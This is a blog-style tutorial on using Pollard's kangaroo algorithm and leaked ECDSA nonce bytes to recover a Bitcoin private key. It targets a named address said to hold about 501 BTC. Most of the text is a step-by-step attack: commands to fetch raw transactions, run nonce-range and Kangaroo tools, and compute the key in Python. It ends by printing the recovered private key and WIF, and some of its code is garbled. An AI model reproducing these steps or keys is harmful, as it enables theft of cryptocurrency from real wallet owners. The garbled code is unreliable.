Pollard’s Kangaroo find solutions to the discrete logarithm secp256k1 PRIVATE KEY + NONCES in a known range

CRYPTO DEEP TECH

In this article, we will look at the fastest algorithm for ECDLP from the field of computational number theory, Pollard’s kangaroo is also called Pollard’s lambda algorithm.

Pollard’s kangaroo method computes  discrete logarithms  in arbitrary cyclic groups. It is applied if the discrete logarithm is known to lie in a certain range, say  [ a , b ], and then has an expected time to execute the bulk operation.

Pollard’s Kangaroo Advantage:

• uses very little memory
• can be parallelized with linear acceleration
• memory requirements can be effectively tracked

All this makes the kangaroo method the most powerful method for solving the discrete logarithm problem.

One way to break ECDSA signature schemes is to solve the discrete logarithm problem.

In settings   , sub-exponential time algorithms, such as the index calculus method, are not used, and the best known solution method underlying them today   is the Pollard kangaroo method. We will try not to burden you with various theoretical aspects. Let’s move on to the experimental part.

As we know in the Bitcoin blockchain, the sender of BTC coins always reveals his  public key

For the Pollard kangaroo method, it is enough to know  the public keysignature  value (the value   is also a kind of  public key  from   because it is a coordinate point   on the elliptic curve plane  secp256k1

It remains only to define the range PRIVATE KEY

It happens that some devices that create signatures in the Bitcoin blockchain can partially disclose bytes of information about the value "K" (NONCES)

We believe that this is a potential threat of losing BTC coins and strongly recommend that everyone always update the software and use only verified devices.

In the recent past, we did cryptanalysis on the Bitcoin blockchain and found several such transactions.

So take a look at this Bitcoin Address with a withdrawal amount of 501.06516041 BTC

In the transactions of this Bitcoin Address  14NWDXkQwcGN1Pd9fboL8npVynD5SfyJAE , there was a partial disclosure of bytes of information about the value "K" (NONCES)

As we know from our last  

habr.com/en/post/671932/

Finding a Secret Key Range

Let’s find this transaction and use Pollard’s kangaroo method to  recover the private key

Earlier we recorded  a video instruction«TERMINAL in Google Colab create all the conveniences for working in GITHUB»

Open Google Colab in  Terminal [TerminalGoogleColab]

To search for RawTX, we will use the repository  «01BlockchainGoogleDrive»

git clone https://github.com/demining/CryptoDeepTools.gitcd CryptoDeepTools/01BlockchainGoogleDrive/chmod +x getrawtx.sh./getrawtx.sh 14NWDXkQwcGN1Pd9fboL8npVynD5SfyJAE

Run Bash script: getrawtx.sh

All contents of the Bitcoin Address  14NWDXkQwcGN1Pd9fboL8npVynD5SfyJAE transaction  were saved to the file: RawTX.json

Open the file:  RawTX.json and find this transaction [строка №10]

Let’s use the command   and save this line  RawTX.jsonseparately to RawTX.txt

export LINE=10 ; sed -n "${LINE}p" RawTX.json > RawTX.txt

cat RawTX.txt

Let  ‘s find out, open the Decode Raw Bitcoin Hexadecimal Transaction  website   and insert our  As a result, we get TxID

As a result, we get TxID

TxID: b5add54960756c58ebabb332c5ef89098d2c3b8f2107b939ec542178e846108b

Open the link TxID:

https://btc.exan.tech/tx/b5add54960756c58ebabb332c5ef89098d2c3b8f2107b939ec542178e846108b

Checking RawTX

Now we find out the partial disclosure of bytes of information about the value "K" (NONCES)

To do this, we will use the script «RangeNonce»

«RangeNonce» is a script to find the range of the secret key

Let’s choose the version for the distribution kit  GNU/LinuxGoogle Colab provides UBUNTU 18.04

RangeNonce

Upload all files to Google Colab

RangeNonce + Google Colab

Let’s allow permissions for the script and run the script «RangeNonce»

chmod +x RangeNonce./RangeNoncecat Result.txt

Everything will be saved to a file: Result.txt

result.txt

This is the partial disclosure of bytes of information the value of «K» (NONCES)

So our  secret key  is in  

K = 070239c013e8f40c8c2a0e608ae15a6b00000000000000000000000000000000K = 070239c013e8f40c8c2a0e608ae15a6bffffffffffffffffffffffffffffffff

Pay attention to the initial   digits and letters   of the format, the value of the signature   matches  the range of the secret key  , that is, the value "K" (NONCES)

This is a very serious ECDSA signature error

As we said above, for the Pollard kangaroo method, it is enough to know  the public key signature  value (the value   is also a kind of  public key  from   because it is a coordinate point   on the elliptic curve plane  secp256k1

Signature  value   in our case:

R = 83fe1c06236449b69a7bee5be422c067d02c4ce3f4fa3756bd92c632f971de06

The script  RangeNonce added the   we needed by  creating a  compressed public key

K_PUBKEY = 0283fe1c06236449b69a7bee5be422c067d02c4ce3f4fa3756bd92c632f971de06

Now we have information:

• secret key range
• compressed public key

Let’s use the source code to build the  Pollard’s Kangaroo program  from the French developer Jean-Luc PONS

Please note that you can assemble on your own   increase  the speed of calculations.

We will do a normal assembly for the CPU

cd /cd content/CryptoDeepTools/06KangarooJeanLucPons/ls

sudo apt-get update

sudo apt-get install g++ -ysudo apt-get install libgmp3-dev libmpfr-dev -y

After all the package installations, we will build by running a simple command:

Assembly was successful!

Проверим версию:./kangaroo -v

So, we have created a version of «Kangaroo v2.2»

To demonstrate the performance  «Kangaroo v2.2» for  let’s raise the range and save everything to a file: rangepubkey.txt

Open a text file: rangepubkey.txt

070239c013e8f40c8c2a0e608ae15a6b23d4a09295be678b2100000000000000070239c013e8f40c8c2a0e608ae15a6b23d4a09295be678b21ffffffffffffff0283fe1c06236449b69a7bee5be422c067d02c4ce3f4fa3756bd92c632f971de06

Очистим терминал командой:clear

«Kangaroo v2.2» the result will be  automatically saved  to a file: savenonce.txt

./kangaroo -ws -w save.work -wi 30 -o savenonce.txt rangepubkey.txt

The search time took 1 min. 18 sec.

Result in file:savenonce.txt

 ‘s open the  file: savenonce.txt

We got the secret key, this is the value of «K» (NONCES)

Key# 0 [1S]Pub:  0x0283FE1C06236449B69A7BEE5BE422C067D02C4CE3F4FA3756BD92C632F971DE06        Priv: 0x70239C013E8F40C8C2A0E608AE15A6B23D4A09295BE678B21A5F1DCEAE1F634 070239C013E8F40C8C2A0E608AE15A6B23D4A09295BE678B21A5F1DCEAE1F634K = 070239c013e8f40c8c2a0e608ae15a6b00000000000000000000000000000000 # RangeNonceK = 070239C013E8F40C8C2A0E608AE15A6B23D4A09295BE678B21A5F1DCEAE1F634 # NONCESK = 070239c013e8f40c8c2a0e608ae15a6bffffffffffffffffffffffffffffffff # RangeNonce

private key

Now knowing the value,  "K" (NONCES) we will  restore the private key  to the Bitcoin Address:  14NWDXkQwcGN1Pd9fboL8npVynD5SfyJAE

Let’s go back to the beginning, as we remember, the script  «RangeNonce» revealed to us  information about the range value  "K" (NONCES), as well as  informationSIGNATURES

SIGNATURES

R = 83fe1c06236449b69a7bee5be422c067d02c4ce3f4fa3756bd92c632f971de06S = 7405249d2aa9184b688f5307006fddc3bd4a7eb89294e3be3438636384d64ce7Z = 070239c013e8f40c8c2a0e608ae15a6b1bb4b8fbcab3cff151a6e4e8e05e10b7

Get the private key using the formula in Python calculate.py

(n):     hex(n).replace("0x","")extended_gcd(aa, bb):    lastremainder, remainder = abs(aa), abs(bb)    x, lastx, y, lasty = 0, 1, 1, 0     remainder:        lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder)        x, lastx = lastx - quotient*x, x        y, lasty = lasty - quotient*y, y     lastremainder, lastx * (-1  aa < 0  1), lasty * (-1  bb < 0 (a, m):    g, x, y = extended_gcd(a, m)     g != 1:         ValueError     x % m    N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141R = 0x83fe1c06236449b69a7bee5be422c067d02c4ce3f4fa3756bd92c632f971de06S = 0x7405249d2aa9184b688f5307006fddc3bd4a7eb89294e3be3438636384d64ce7Z = 0x070239c013e8f40c8c2a0e608ae15a6b1bb4b8fbcab3cff151a6e4e8e05e10b7K = 0x070239C013E8F40C8C2A0E608AE15A6B23D4A09295BE678B21A5F1DCEAE1F634 (h((((S * K) - Z) * modinv(R,N)) % N))

wget https://raw.githubusercontent.com/demining/CryptoDeepTools/main/02BreakECDSAcryptography/calculate.pypython3 calculate.py

PRIVKEY=23d4a09295be678b21a5f1dceae1f634a69c1b41775f680ebf8165266471401b

ADDR: 14NWDXkQwcGN1Pd9fboL8npVynD5SfyJAEWIF:  5J64pq77XjeacCezwmAr2V1s7snvvJkuAz8sENxw7xCkikceV6eHEX:  23d4a09295be678b21a5f1dceae1f634a69c1b41775f680ebf8165266471401b

Checking the private key on the bitaddress website

Private key found!

www.blockchain.com/btc/address/14NWDXkQwcGN1Pd9fboL8npVynD5SfyJAE

This video was created for the  CRYPTO DEEP TECH portal  to ensure the financial security of data and cryptography on elliptic curves  secp256k1 against weak signatures   in cryptocurrency 

https://t.me/cryptodeeptech

Video:  https://youtu.be/UGUJyxOhBBQ

Source: https://cryptodeeptech.ru/kangaroo